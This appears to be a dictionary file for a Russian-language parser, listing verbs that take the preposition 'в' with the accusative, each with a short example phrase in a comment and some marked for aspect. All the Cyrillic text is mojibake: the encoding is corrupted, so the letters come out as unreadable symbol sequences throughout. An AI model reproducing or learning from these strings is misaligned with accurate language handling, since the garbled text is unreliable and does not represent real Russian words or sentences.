rus_verbs:ะะขะขะฏะะะะะขะฌ{}, // ะธัะฟะพะปัะทะพะฒะฐัั ะตััะตััะฒะตะฝะฝัั ัะธะปั ะณัะฐะฒะธัะฐัะธะธ, ะพัััะณะธะฒะฐั ะพะฑัะตะบัั ะฒ ััะพัะพะฝั ะธ ะธะทะผะตะฝัั ะธั
ะพัะฑะธัั (ะะขะขะฏะะะะะขะฌ ะ ะฒะธะฝ)
rus_verbs:ะะะะะะะะขะฌ{}, // ะพะฝะธ ะฟะพะทะฒะพะฝะธะปะธ ะฒ ะพัะดะตะป ัะบะพะปะพะณะธะธ ะณะพัะพะดัะบะพะน ะฐะดะผะธะฝะธัััะฐัะธะธ (ะะะะะะะะขะฌ ะ)
rus_verbs:ะะ ะะะะะงะฌ{}, // ะัะบัััะพััั ะดะฐะฝะฝัั
ะพ ะปะตัะต ะฟะพะผะพะถะตั ะฟัะธะฒะปะตัั ะธะฝะฒะตััะธัะธะธ ะฒ ะพััะฐัะปั (ะะ ะะะะะงะฌ ะ)
rus_verbs:ะะะะ ะะกะะขะฌะกะฏ{}, // ะฝะฐะฑะตะณะฐะฒัะธัั ะธ ะฝะฐะฟะปััะฐะฒัะธัั, ะกัะฐัะธะบ ััะพะผะธะปัั ะธ ะทะฐะฟัะพัะธะปัั ะฒ ะบัะพะฒะฐัะบั (ะะะะ ะะกะะขะฌะกะฏ ะ)
rus_verbs:ะะขะกะขะะะะขะฌ{}, // ะฑัััะปั ั ะฐัะตัะพะฝะพะผ ะะธััะบะฐ ะพัััะฐะฒะธะป ะฒ ััะพัะพะฝะบั (ะะขะกะขะะะะขะฌ ะ)
rus_verbs:ะะกะะะะฌะะะะะขะฌ{}, // ัั ะธัะฟะพะปัะทะพะฒะฐะป ัะฒะพั ะผะฐะณะธั ะฒะพ ะทะปะพ. (ะะกะะะะฌะะะะะขะฌ ะ ะฒะธะฝ)
rus_verbs:ะะซะกะะะะขะฌ{}, // ะ ะฐะฟัะตะปะต ัะตะดะธั ะฒะพะทะผะพะถะฝะพ ัะถะต ะฒััะตะฒะฐัั ะฒ ะณััะฝั (ะะซะกะะะะขะฌ ะ)
rus_verbs:ะะะะะะขะฌ{}, // ะะผะตัะธะบะฐะฝัะบะธะน ะฟัะธั
ะพะปะพะณ ะทะฐะณะฝะฐะป ะปัะฑะพะฒั ะฒ ััะธ ัะณะปะฐ (ะะะะะะขะฌ ะ)
rus_verbs:ะญะะะะฎะฆะะะะะ ะะะะขะฌ{}, // ะะพัะตะผั ะฝะต ะฒัะต ะพะฑะตะทััะฝั ัะฒะพะปััะธะพะฝะธัะพะฒะฐะปะธ ะฒ ัะตะปะพะฒะตะบะฐ? (ะญะะะะฎะฆะะะะะ ะะะะขะฌ ะ ะฒะธะฝ)
rus_verbs:ะกะคะะขะะะ ะะคะะ ะะะะขะฌะกะฏ{}, // ะะฝ ััะพัะพะณัะฐัะธัะพะฒะฐะปัั ะฒะพ ะฒะตัั ัะพัั. (ะกะคะะขะะะ ะะคะะ ะะะะขะฌะกะฏ ะ)
rus_verbs:ะกะขะะะะขะฌ{}, // ะะฝ ััะฐะฒะธั ะผะฝะต ะฒ ัะฟััะบ ัะฒะพั ะพัะธะฑะบั. (ะกะขะะะะขะฌ ะ)
rus_verbs:ัะฐััะตะฟะปััััั{}, // ะกะฐั
ะฐัะพะทะฐ ะถะต ะฑััััะพ ัะฐััะตะฟะปัะตััั ะฒ ะฟะธัะตะฒะฐัะธัะตะปัะฝะพะผ ััะฐะบัะต ะฝะฐ ะณะปัะบะพะทั ะธ ัััะบัะพะทั (ะ ะะกะฉะะะะฏะขะฌะกะฏ ะ, ะะ)
rus_verbs:ะะะ ะะกะะะฏะขะฌะกะฏ{}, // ะัะตะบะธ ะฟะตัะตัะตะปััััั ะฒ ะะตัะผะฐะฝะธั (ะะะ ะะกะะะฏะขะฌะกะฏ ะ)
rus_verbs:ะคะะ ะะะ ะะะะขะฌะกะฏ{}, // ะกะฐั
ะฐัะฝะฐั ัะฒะตะบะปะฐ ะพัะฝะพัะธััั ะบ ะดะฒัะปะตัะฝะธะผ ัะฐััะตะฝะธัะผ, ะผััะธัััะน ะบะพัะฝะตะฟะปะพะด ัะพัะผะธััะตััั ะฒ ะฟะตัะฒัะน ะณะพะด. (ะคะะ ะะะ ะะะะขะฌะกะฏ ะ)
rus_verbs:ะะ ะะะะ ะงะะขะฌ{}, // ะดะตะดัะปั ััะพ-ัะพ ะฟัะพะฒะพััะฐะป ะฒ ะพัะฒะตั (ะะ ะะะะ ะงะะขะฌ ะ)
rus_verbs:ะะฃะ ะะะฃะขะฌ{}, // ะฝะตะปัะดะธะผัะน ะฟะฐัะตะฝั ััะพ-ัะพ ะฑััะบะฝัะป ะฒ ะพัะฒะตั (ะะฃะ ะะะฃะขะฌ ะ)
rus_verbs:ะะะกะขะ{}, // ะดะฒะตัั ะฒะตะปะฐ ะฒะพ ััะผั. (ะะะกะขะ ะ)
rus_verbs:ะะซะกะะะงะะขะฌ{}, // ะฑะตะณะปะตัั ะฒััะบะพัะธะปะธ ะฒะพ ะดะฒะพั. (ะะซะกะะะงะะขะฌ ะ)
rus_verbs:ะะะกะซะะะขะฌ{}, // ะะดะฝะธะผ ะดะฒะธะถะตะฝะธะตะผ ัััะตะปะพะบ ะดะพััะปะฐะตั ะฟะฐััะพะฝ ะฒ ััะฒะพะป (ะะะกะซะะะขะฌ ะ)
rus_verbs:ะกะชะะฅะะขะฌะกะฏ{}, // ะคะธะฝะฐะปะธััั ััะตั
ะฐะปะธัั ะฝะฐ ัะฒะพะธ ะธะณัั ะฒ ะะพั-ะะฝะถะตะปะตั. (ะกะชะะฅะะขะฌะกะฏ ะะ, ะ)
rus_verbs:ะะซะขะฏะะฃะขะฌ{}, // ะัะผ ะฒัััะฝัะปะพ ะฒ ัััะฑั. (ะะซะขะฏะะฃะขะฌ ะ)
rus_verbs:ัะพััะฐัั{}, // ะพััััะต ะพะฑะปะพะผะบะธ ะฑัะตะฒะตะฝ ัะพััะฐะปะธ ะฒะพ ะฒัะต ััะพัะพะฝั.
rus_verbs:ะะะะฏะะซะะะขะฌ{}, // ะะฝะฐ ะพะณะปัะดัะฒะฐะตั ัะตะฑั ะฒ ะทะตัะบะฐะปะพ. (ะะะะฏะะซะะะขะฌ ะ)
rus_verbs:ะะะะกะขะะะะะขะฌ{}, // ะญัะพั ะฟะฐะบะตั ะทะฐะบะพะฝะพะฒ ะดะตะนััะฒัะตั ะฒ ััะตัะฑ ัะฐััะฝัะผ ะฟัะตะดะฟัะธะฝะธะผะฐัะตะปัะผ.
rus_verbs:ะ ะะะะะขะะขะฌะกะฏ{}, // ะปัะดะธ ัะฐะทะปะตัะตะปะธัั ะฒะพ ะฒัะต ััะพัะพะฝั. (ะ ะะะะะขะะขะฌะกะฏ ะ)
rus_verbs:ะฑััะทะฝััั{}, // ะฒะพ ะฒัะต ััะพัะพะฝั ะฑััะทะฝัะปะฐ ะบัะพะฒั. (ะฑััะทะฝััั ะฒ)
rus_verbs:ะขะฏะะฃะขะฌะกะฏ{}, // ะฟัะพะฒะพะดะฐ ััะฝัะปะธัั ะฒะพ ะฒัะต ัะณะปั. (ะขะฏะะฃะขะฌะกะฏ ะ)
rus_verbs:ะฒะฐะปะธัั{}, // ะฒะฐะปะธัั ะฒัะต ะฒ ะพะดะฝั ะบััั (ะฒะฐะปะธัั ะฒ)
rus_verbs:ะฒัะดะฒะธะฝััั{}, // ะตะณะพ ะฒัะดะฒะธะฝัะปะธ ะฒ ะฟะฐะปะฐัั ะฟัะตะดััะฐะฒะธัะตะปะตะน (ะฒัะดะฒะธะฝััั ะฒ)
rus_verbs:ะบะฐัะฐะฑะบะฐัััั{}, // ะบะฐัะฐะฑะบะฐัััั ะฒ ะณะพัั (ะบะฐัะฐะฑะบะฐัััั ะฒ)
rus_verbs:ะบะปะพะฝะธัััั{}, // ะพะฝ ะบะปะพะฝะธะปัั ะฒ ััะพัะพะฝั (ะบะปะพะฝะธัััั ะฒ)
rus_verbs:ะบะพะผะฐะฝะดะธัะพะฒะฐัั{}, // ะผั ะบะพะผะฐะฝะดะธัะพะฒะฐะปะธ ะฝะฐัะตะณะพ ะฟัะตะดััะฐะฒะธัะตะปั ะฒ ะ ะธะผ (ะบะพะผะฐะฝะดะธัะพะฒะฐัั ะฒ)
rus_verbs:ะทะฐะฟะฐััั{}, // ะญัะธ ัะปะพะฒะฐ ะทะฐะฟะฐะปะธ ะผะฝะต ะฒ ะดััั.
rus_verbs:ะดะฐะฒะฐัั{}, // ะ ััะพะน ะปะฐะฒะบะต ะดะฐัั ะฒ ะดะพะปะณ?
rus_verbs:ะตะทะดะธัั{}, // ะะฐะถะดัะน ะดะตะฝั ะณััะทะพะฒะธะบ ะตะทะดะธั ะฒ ะณะพัะพะด.
rus_verbs:ะฟัะตัะฒะพัะธัััั{}, // ะะฐะผััะตะป ะฟัะตัะฒะพัะธะปัั ะฒ ะถะธะทะฝั.
rus_verbs:ัะฐะทะพะนัะธัั{}, // ะะฝะธ ัะฐะทะพัะปะธัั ะฒ ัะฐะทะฝัะต ััะพัะพะฝั.
rus_verbs:ะฒัะนัะธ{}, // ะั
ะพัะฝะธะบ ะฒััะตะป ะฒ ะฟะพะปะต ั ััะถััะผ.
rus_verbs:ะพัะพะทะฒะฐัั{}, // ะัะทะพะฒะธัะต ะตะณะพ ะฒ ััะพัะพะฝั ะธ ัะบะฐะถะธัะต ะตะผั ะพะฑ ััะพะผ.
rus_verbs:ัะฐัั
ะพะดะธัััั{}, // ะะฐัะฐ ะธ ะะตัั ัะฐัั
ะพะดัััั ะฒ ัะฐะทะฝัะต ััะพัะพะฝั
rus_verbs:ะฟะตัะตะพะดะตะฒะฐัััั{}, // ะฟะตัะตะพะดะตะฒะฐัััั ะฒ ะถะตะฝัะบะพะต ะฟะปะฐััะต
rus_verbs:ะฟะตัะตัะฐััะฐัั{}, // ะฟะตัะตัะฐััะฐัั ะฒ ะผะฐััะพะฒัะต ะฑะตัะฟะพััะดะบะธ
rus_verbs:ะทะฐะฒัะทัะฒะฐัััั{}, // ะทะฐะฒัะทัะฒะฐัััั ะฒ ัะทะตะป
rus_verbs:ะฟะพั
ะฒะฐัะฐัั{}, // ะฟะพั
ะฒะฐัะฐัั ะฒ ััะบะธ
rus_verbs:ัะฒะปะตัั{}, // ัะฒะปะตัั ะฒ ะฟัะพะณัะปะบั ะฟะพ ะฟะฐัะบั
rus_verbs:ะฟะพะผะตัะฐัั{}, // ะฟะพะผะตัะฐัั ะฒ ะธะทะพะปััะพั
rus_verbs:ะทััะบะฝััั{}, // ะทััะบะฝััั ะฒ ะพะบะพัะบะพ
rus_verbs:ะทะฐะบะฐัะฐัั{}, // ะทะฐะบะฐัะฐัั ะฒ ะฐััะฐะปัั
rus_verbs:ััะฐะถะธะฒะฐัััั{}, // ััะฐะถะธะฒะฐัััั ะฒ ะบัะตัะปะพ
rus_verbs:ะทะฐะณะพะฝััั{}, // ะทะฐะณะพะฝััั ะฒ ัะฐัะฐะน
rus_verbs:ะฟะพะดะฑัะฐััะฒะฐัั{}, // ะฟะพะดะฑัะฐััะฒะฐัั ะฒ ะฒะพะทะดัั
rus_verbs:ัะตะปะตะณัะฐัะธัะพะฒะฐัั{}, // ัะตะปะตะณัะฐัะธัะพะฒะฐัั ะฒ ัะตะฝัั
rus_verbs:ะฒัะทะฐัั{}, // ะฒัะทะฐัั ะฒ ััะพะฟั
rus_verbs:ะฟะพะดะปะธัั{}, // ะฟะพะดะปะธัั ะฒ ะพะณะพะฝั
rus_verbs:ะทะฐะฟะพะปััะธัั{}, // ะทะฐะฟะพะปััะธัั ะฒ ัะฐัะฟะพััะถะตะฝะธะต
rus_verbs:ะฟะพะดะพะณะฝะฐัั{}, // ะฟะพะดะพะณะฝะฐัั ะฒ ะดะพะบ
rus_verbs:ะปะพะผะธัััั{}, // ะปะพะผะธัััั ะฒ ะพัะบััััั ะดะฒะตัั
rus_verbs:ะฟะตัะตะฟัะฐะฒะธัั{}, // ะฟะตัะตะฟัะฐะฒะธัั ะฒ ะดะตัะตะฒะฝั
rus_verbs:ะทะฐััะณะธะฒะฐัััั{}, // ะทะฐััะณะธะฒะฐัััั ะฒ ัััะฑั
rus_verbs:ัะฐะทะปะตัะฐัััั{}, // ัะฐะทะปะตัะฐัััั ะฒ ััะพัะพะฝั
rus_verbs:ะบะปะฐะฝััััั{}, // ะบะปะฐะฝััััั ะฒ ะฝะพะถะบะธ
rus_verbs:ััััะตะผะปััััั{}, // ััััะตะผะปััััั ะฒ ะพัะบัััะพะต ะผะพัะต
rus_verbs:ะฟะตัะตะผะตััะธัััั{}, // ะฟะตัะตะผะตััะธัััั ะฒ ะดััะณัั ะฐัะดะธัะพัะธั
rus_verbs:ะปะพะถะธัั{}, // ะปะพะถะธัั ะฒ ััะธะบ
rus_verbs:ะพัะฒะพะทะธัั{}, // ะพัะฒะพะทะธัั ะฒ ะฐััะพะฟะพัั
rus_verbs:ะฝะฐะฟัะฐัะธะฒะฐัััั{}, // ะฝะฐะฟัะฐัะธะฒะฐัััั ะฒ ะณะพััะธ
rus_verbs:ะฝะฐะฟัะพัะธัััั{}, // ะฝะฐะฟัะพัะธัััั ะฒ ะณะพััะธ
rus_verbs:ะฝะฐะณััะฝััั{}, // ะฝะฐะณััะฝััั ะฒ ะณะพััะธ
rus_verbs:ะทะฐะฒะพัะฐัะธะฒะฐัั{}, // ะทะฐะฒะพัะฐัะธะฒะฐัั ะฒ ัะพะปัะณั
rus_verbs:ะทะฐะบะพะฒะฐัั{}, // ะทะฐะบะพะฒะฐัั ะฒ ะบะฐะฝะดะฐะปั
rus_verbs:ัะฒะตะทัะธ{}, // ัะฒะตะทัะธ ะฒ ัะฐัะฐะน
rus_verbs:ะฟัะธัะฐัะธัััั{}, // ะฟัะธัะฐัะธัััั ะฒ ะดะพะผ
rus_verbs:ะทะฐะฒะตัะฑะพะฒะฐัั{}, // ะทะฐะฒะตัะฑะพะฒะฐัั ะฒ ัะฐะทะฒะตะดะบั
rus_verbs:ััะฑะธัััั{}, // ััะฑะธัััั ะฒ ะบะพะผะฟัััะตัะฝัะต ะธะณัั
rus_verbs:ััะบะฐัััั{}, // ััะบะฐัััั ะฒ ะผะฐัะตัะธะฝัะบัั ะณััะดั
ะธะฝัะธะฝะธัะธะฒ:ัััะฟะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะธะฝัะธะฝะธัะธะฒ:ัััะฟะฐัั{ ะฒะธะด:ัะพะฒะตัั }, // ัััะฟะฐัั ะฒ ะบะพะฝัะตะนะฝะตั
ะณะปะฐะณะพะป:ัััะฟะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะณะปะฐะณะพะป:ัััะฟะฐัั{ ะฒะธะด:ัะพะฒะตัั },
ะดะตะตะฟัะธัะฐััะธะต:ัััะฟะฐะฒ{}, ะดะตะตะฟัะธัะฐััะธะต:ัััะฟะฐั{},
rus_verbs:ะทะฐัะฐััะฒะฐัั{}, // ะทะฐัะฐััะฒะฐัั ะฒ ัะตะฑั
rus_verbs:ัะบะฐะบะฝััั{}, // ัะบะฐะบะฝััั ะฒ ะฑัะดััะตะต
rus_verbs:ะฟะพะดะฒะพะทะธัั{}, // ะฟะพะดะฒะพะทะธัั ะฒ ัะตะฐัั
rus_verbs:ะฟะตัะตะธะณัะฐัั{}, // ะฟะตัะตะธะณัะฐัั ะฒ ะฟะพะบะตั
rus_verbs:ะผะพะฑะธะปะธะทะพะฒะฐัั{}, // ะผะพะฑะธะปะธะทะพะฒะฐัั ะฒ ะดะตะนััะฒััััั ะฐัะผะธั
rus_verbs:ะทะฐะปะตัะฐัั{}, // ะทะฐะปะตัะฐัั ะฒ ะทะฐะบัััะพะต ะฒะพะทะดััะฝะพะต ะฟัะพัััะฐะฝััะฒะพ
rus_verbs:ะฟะพะดััะฐัั{}, // ะฟะพะดััะฐัั ะฒ ัััะฑะพัะบั
rus_verbs:ัะผะพัะฐัััั{}, // ัะผะพัะฐัััั ะฒ ะธะฝััะธััั
rus_verbs:ัะฐััะพะฒะฐัั{}, // ัะฐััะพะฒะฐัั ะฒ ะบะฐัะผะฐัะบะธ
rus_verbs:ะทะฐั
ะฐะถะธะฒะฐัั{}, // ะทะฐั
ะฐะถะธะฒะฐัั ะฒ ะดะพะผ
ะธะฝัะธะฝะธัะธะฒ:ัะณะพะฝััั{ ะฒะธะด:ัะพะฒะตัั }, ะณะปะฐะณะพะป:ัะณะพะฝััั{ ะฒะธะด:ัะพะฒะตัั }, // ัะณะพะฝััั ะฒ ะปะพะผะฑะฐัะด
ะดะตะตะฟัะธัะฐััะธะต:ัะณะพะฝัั{},
rus_verbs:ะฟะพััะปะฐัััั{}, // ะฟะพััะปะฐัััั ะฒ ะฟะพัั
rus_verbs:ะพัะปะธัั{}, // ะพัะปะธัั ะฒ ะบะฐััััะปั
rus_verbs:ะฟัะตะพะฑัะฐะทะพะฒะฐัััั{}, // ะฟัะตะพะฑัะฐะทะพะฒะฐัััั ะฒ ะปะธะฝะตะนะฝะพะต ััะฐะฒะฝะตะฝะธะต
rus_verbs:ะฟะพะฟะปะฐะบะฐัั{}, // ะฟะพะฟะปะฐะบะฐัั ะฒ ะฟะปะฐัะพัะตะบ
rus_verbs:ะพะฑััััั{}, // ะพะฑััััั ะฒ ัะฐะฟะพะณะธ
rus_verbs:ะทะฐะบะฐะฟะฐัั{}, // ะทะฐะบะฐะฟะฐัั ะฒ ะณะปะฐะทะฐ
ะธะฝัะธะฝะธัะธะฒ:ัะฒะพะทะธัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะธะฝัะธะฝะธัะธะฒ:ัะฒะพะทะธัั{ ะฒะธะด:ัะพะฒะตัั }, // ัะฒะพะทะธัั ะฒ ัะตะฝัั ััะธะปะธะทะฐัะธะธ
ะณะปะฐะณะพะป:ัะฒะพะทะธัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะณะปะฐะณะพะป:ัะฒะพะทะธัั{ ะฒะธะด:ัะพะฒะตัั },
ะดะตะตะฟัะธัะฐััะธะต:ัะฒะพะทะธะฒ{}, ะดะตะตะฟัะธัะฐััะธะต:ัะฒะพะทั{},
rus_verbs:ะฟัะตะพะฑัะฐะทะพะฒะฐัั{}, // ะฟัะตะพะฑัะฐะทะพะฒะฐัั ะฒ ะปะธะฝะตะนะฝะพะต ััะฐะฒะฝะตะฝะธะต
rus_verbs:ะบััะฐัััั{}, // ะบััะฐัััั ะฒ ะฟะปะตะด
rus_verbs:ัะผะตัะฐัััั{}, // ัะผะตัะฐัััั ะฒ ััะพัะพะฝั
rus_verbs:ะทะฐะทัะฒะฐัั{}, // ะทะฐะทัะฒะฐัั ะฒ ัะฒะพะน ะผะฐะณะฐะทะธะฝ
ะธะฝัะธะฝะธัะธะฒ:ััะฐะฝััะพัะผะธัะพะฒะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะธะฝัะธะฝะธัะธะฒ:ััะฐะฝััะพัะผะธัะพะฒะฐัััั{ ะฒะธะด:ัะพะฒะตัั }, // ััะฐะฝััะพัะผะธัะพะฒะฐัััั ะฒ ะบะพะผะฑะธะฝะตะทะพะฝ
ะณะปะฐะณะพะป:ััะฐะฝััะพัะผะธัะพะฒะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะณะปะฐะณะพะป:ััะฐะฝััะพัะผะธัะพะฒะฐัััั{ ะฒะธะด:ัะพะฒะตัั },
ะดะตะตะฟัะธัะฐััะธะต:ััะฐะฝััะพัะผะธััััั{}, ะดะตะตะฟัะธัะฐััะธะต:ััะฐะฝััะพัะผะธัะพะฒะฐะฒัะธัั{},
rus_verbs:ะฟะพะณััะถะฐัั{}, // ะฟะพะณััะถะฐัั ะฒ ะบะธะฟััะตะต ะผะฐัะปะพ
rus_verbs:ะพะฑัะณัะฐัั{}, // ะพะฑัะณัะฐัั ะฒ ัะตะฝะฝะธั
rus_verbs:ะทะฐะบััะฐัั{}, // ะทะฐะบััะฐัั ะฒ ะพะดะตัะปะพ
rus_verbs:ะธะทะปะธะฒะฐัััั{}, // ะธะทะปะธะฒะฐัััั ะฒ ะฒะพะดั
rus_verbs:ะทะฐะบะฐััะฒะฐัั{}, // ะทะฐะบะฐััะฒะฐัั ะฒ ะฐััะฐะปัั
rus_verbs:ะผะพัะฝััััั{}, // ะผะพัะฝััััั ะฒ ะฑะฐะฝะบ
rus_verbs:ะธะทะฑะธัะฐัััั{}, // ะธะทะฑะธัะฐัััั ะฒ ัะตะฝะฐั
rus_verbs:ะฝะฐะฝะธะผะฐัััั{}, // ะฝะฐะฝะธะผะฐัััั ะฒ ััะปัะถะตะฝะธะต
rus_verbs:ะฝะฐััััะฐัั{}, // ะฝะฐััััะฐัั ะฒ ะพัะณะฐะฝั
rus_verbs:ะทะฐะฟะธั
ะธะฒะฐัั{}, // ะทะฐะฟะธั
ะธะฒะฐัั ะฒ ะฟะตัะบั
rus_verbs:ะทะฐะบะฐะฟัะฒะฐัั{}, // ะทะฐะบะฐะฟัะฒะฐัั ะฒ ะฝะพั
rus_verbs:ะทะฐัะพะฑะธัะฐัััั{}, // ะทะฐัะพะฑะธัะฐัััั ะฒ ะฟะพั
ะพะด
rus_verbs:ะบะพะฟะธัะพะฒะฐัั{}, // ะบะพะฟะธัะพะฒะฐัั ะฒ ะดััะณัั ะฟะฐะฟะบั
rus_verbs:ะทะฐะผััะพะฒะฐัั{}, // ะทะฐะผััะพะฒะฐัั ะฒ ััะตะฝั
rus_verbs:ัะฟะตัั{}, // ัะฟะตัั ะฒ ััััะผั
rus_verbs:ะทัะธัั{}, // ะทัะธัั ะฒ ะบะพัะตะฝั
rus_verbs:ัััะณะธะฒะฐัััั{}, // ัััะณะธะฒะฐัััั ะฒ ะพะดะฝั ัะพัะบั
rus_verbs:ััะฐะถะธะฒะฐัั{}, // ััะฐะถะธะฒะฐัั ะฒ ััะตะฝะฐะถะตั
rus_verbs:ะฟัะพัะพะปะบะฝััั{}, // ะฟัะพัะพะปะบะฝััั ะฒ ะพัะฒะตัััะธะต
rus_verbs:ัะฐััะธะฑะธัััั{}, // ัะฐััะธะฑะธัััั ะฒ ะปะตะฟะตัะบั
rus_verbs:ะฟัะธะณะปะฐัะฐัััั{}, // ะฟัะธะณะปะฐัะฐัััั ะฒ ะบะฐะฑะธะฝะตั
rus_verbs:ัะฐะดะธัั{}, // ัะฐะดะธัั ะฒ ัะตะปะตะณั
rus_verbs:ััะบะฝััั{}, // ััะบะฝััั ะฒ ะฟะพะดััะบั
rus_verbs:ะฟัะพัะตัั{}, // ะฟัะพัะตัั ะฒ ะฟะพะดะฒะฐะป
rus_verbs:ะฟะตัะตะณะฝะฐัั{}, // ะฟะตัะตะณะฝะฐัั ะฒ ะดััะณัั ัััะฐะฝั
rus_verbs:ะฟะตัะตะฟะพะปะทัะธ{}, // ะฟะตัะตะฟะพะปะทัะธ ะฒ ัะตะฝั
rus_verbs:ะทะฐััะฒะฐัััั{}, // ะทะฐััะฒะฐัััั ะฒ ะณััะฝั
rus_verbs:ะฟะตัะตะพะดะตัั{}, // ะฟะตัะตะพะดะตัั ะฒ ััั
ัั ะพะดะตะถะดั
rus_verbs:ะฟัะธะฟัััะธัััั{}, // ะฟัะธะฟัััะธัััั ะฒ ะฟะปัั
rus_verbs:ะปะพะฟะพัะฐัั{}, // ะปะพะฟะพัะฐัั ะฒ ะผะธะบัะพัะพะฝ
rus_verbs:ะฟัะพะณะฝััะฐะฒะธัั{}, // ะฟัะพะณะฝััะฐะฒะธัั ะฒ ะผะธะบัะพัะพะฝ
rus_verbs:ะผะพัะธัััั{}, // ะผะพัะธัััั ะฒ ััะฐะฝั
rus_verbs:ะทะฐะณััะถะฐัั{}, // ะทะฐะณััะถะฐัั ะฒ ะฟะฐััะพะฝะฝะธะบ
rus_verbs:ัะฐะดะธัะพะฒะฐัั{}, // ัะฐะดะธัะพะฒะฐัั ะฒ ัะตะฝัั
rus_verbs:ะฟัะพะผะพัะฐัั{}, // ะฟัะพะผะพัะฐัั ะฒ ะบะพะฝะตั
rus_verbs:ะฟะพะผัะฐัั{}, // ะฟะพะผัะฐัั ะฒ ัะบะพะปั
rus_verbs:ััะตะทะถะฐัั{}, // ััะตะทะถะฐัั ะฒ ะบัะฒะตั
rus_verbs:ะทะฐะฒะพะทะธัั{}, // ะทะฐะฒะพะทะธัั ะฒ ะผะฐะณะฐะทะธะฝ
rus_verbs:ะทะฐัะฒะปััััั{}, // ะทะฐัะฒะปััััั ะฒ ัะบะพะปั
rus_verbs:ะฝะฐะณะปัะดะตัััั{}, // ะฝะฐะณะปัะดะตัััั ะฒ ะทะตัะบะฐะปะพ
rus_verbs:ัะฒะพัะฐัะธะฒะฐัััั{}, // ัะฒะพัะฐัะธะฒะฐัััั ะฒ ะบะปัะฑะพัะตะบ
rus_verbs:ััััะตะผะปััั{}, // ััััะตะผะปััั ะฒะทะพั ะฒ ะฑัะดััะตะต
rus_verbs:ะทะฐะฑัะตะดะฐัั{}, // ะทะฐะฑัะตะดะฐัั ะฒ ะณะปัั
ะธะต ัะณะพะปะบะธ
rus_verbs:ะฟะตัะตะผะพัะฐัั{}, // ะฟะตัะตะผะพัะฐัั ะฒ ัะฐะผะพะต ะฝะฐัะฐะปะพ ะดะธะฐะปะพะณะฐ
rus_verbs:ัะผะพัะบะฐัััั{}, // ัะผะพัะบะฐัััั ะฒ ะฝะพัะพะฒะพะน ะฟะปะฐัะพัะตะบ
rus_verbs:ะฟะตัะตัะตะบะฐัั{}, // ะฟะตัะตัะตะบะฐัั ะฒ ะดััะณะพะน ัะพััะด
rus_verbs:ะทะฐะบะฐัะฐัั{}, // ะทะฐะบะฐัะฐัั ะฒ ัะฐัะธะบ
rus_verbs:ะทะฐะฟัััะฐัั{}, // ะทะฐะฟัััะฐัั ะฒ ัะตะนั
rus_verbs:ะฟะธะฝะฐัั{}, // ะฟะธะฝะฐัั ะฒ ะถะธะฒะพั
rus_verbs:ะทะฐัััะฑะธัั{}, // ะทะฐัััะฑะธัั ะฒ ะณะพัะฝ
rus_verbs:ะฟะพะดะณะปัะดัะฒะฐัั{}, // ะฟะพะดะณะปัะดัะฒะฐัั ะฒ ะทะฐะผะพัะฝัั ัะบะฒะฐะถะธะฝั
ะธะฝัะธะฝะธัะธะฒ:ะฟะพะดััะฟะฐัั{ ะฒะธะด:ัะพะฒะตัั }, ะธะฝัะธะฝะธัะธะฒ:ะฟะพะดััะฟะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ะฟะพะดััะฟะฐัั ะฒ ะฟะธััะต
ะณะปะฐะณะพะป:ะฟะพะดััะฟะฐัั{ ะฒะธะด:ัะพะฒะตัั }, ะณะปะฐะณะพะป:ะฟะพะดััะฟะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะดะตะตะฟัะธัะฐััะธะต:ะฟะพะดััะฟะฐะฒ{}, ะดะตะตะฟัะธัะฐััะธะต:ะฟะพะดััะฟะฐั{},
rus_verbs:ะทะฐัะพะฒัะฒะฐัั{}, // ะทะฐัะพะฒัะฒะฐัั ะฒ ะฟะตะฝะฐะป
rus_verbs:ะพัััะดะธัั{}, // ะพัััะดะธัั ะฒ ะบะพะผะฐะฝะดะธัะพะฒะบั
rus_verbs:ัะฟัะฐะฒะปััั{}, // ัะฟัะฐะฒะปััั ะฒ ะบัััั
rus_verbs:ะฟะพัะพัะฐะฟะปะธะฒะฐัััั{}, // ะฟะพัะพัะฐะฟะปะธะฒะฐัััั ะฒ ัะฐะผะพะปะตั
rus_verbs:ัะบะพะฟะธัะพะฒะฐัั{}, // ัะบะพะฟะธัะพะฒะฐัั ะฒ ะบัั
rus_verbs:ะฟะพะดะปะธะฒะฐัั{}, // ะฟะพะดะปะธะฒะฐัั ะฒ ะพะณะพะฝั
rus_verbs:ะทะฐะฟัััั{}, // ะทะฐะฟัััั ะฒ ะฟะพะฒะพะทะบั
rus_verbs:ะพะบัะฐัะธัััั{}, // ะพะบัะฐัะธัััั ะฒ ะฟััะฟัั
rus_verbs:ัะบะพะปะพัั{}, // ัะบะพะปะพัั ะฒ ัะตั
rus_verbs:ัะปะตัะตัััั{}, // ัะปะตัะตัััั ะฒ ะณะฝะตะทะดะพ
rus_verbs:ัะตะทะฐัััั{}, // ัะตะทะฐัััั ะฒ ะบะฐััั
rus_verbs:ะทะฐัะตัะฐัััั{}, // ะทะฐัะตัะฐัััั ะฒ ััะดั ะพะฟะฟะพะทะธัะธะพะฝะตัะพะฒ
ะธะฝัะธะฝะธัะธะฒ:ะทะฐะดะฒะธะณะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะณะปะฐะณะพะป:ะทะฐะดะฒะธะณะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ะทะฐะดะฒะธะณะฐัั ะฒ ััะตะนะบั (ะฝะตัะพะฒะตัั)
ะดะตะตะฟัะธัะฐััะธะต:ะทะฐะดะฒะธะณะฐั{},
rus_verbs:ะดะพััะฐะฒะปััััั{}, // ะดะพััะฐะฒะปััััั ะฒ ัะตััะพัะฐะฝ
rus_verbs:ะฟะพะฟะปะตะฒะฐัั{}, // ะฟะพะฟะปะตะฒะฐัั ะฒ ัะฐัะบั
rus_verbs:ะฟะพะฟะตัะตัััั{}, // ะฟะพะฟะตัะตัััั ะฒ ะผะฐะณะฐะทะธะฝ
rus_verbs:ั
ะฐะถะธะฒะฐัั{}, // ั
ะฐะถะธะฒะฐัั ะฒ ัะตัะบะพะฒั
